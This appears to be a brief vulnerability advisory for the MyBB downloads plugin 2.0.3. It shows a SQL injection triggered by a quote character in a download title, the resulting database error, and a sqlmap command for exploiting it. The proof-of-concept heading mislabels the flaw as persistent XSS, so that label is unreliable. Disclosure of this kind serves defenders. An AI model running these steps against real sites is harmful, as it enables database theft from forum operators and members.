Exploits / Vulnerability Discovered : 2018-10-30 |
Type : webapps |
Platform : php
This exploit / vulnerability Mybb downloads 2.0.3 sql injection is for educational purposes only and if it is used you will do on your own risk!
It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.
2. Proof of Concept:
Persistent XSS
- Go to downloads.php page
- Create a New Download
- Add the following to the title: a"
- Now on submit, the user will be prompted to an SQL Injection specific error.
```
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
Query:
SELECT * FROM mybb_downloads WHERE name="a""
```
- THis can be exploited with: sqlmap -r request_file -p name --threads 5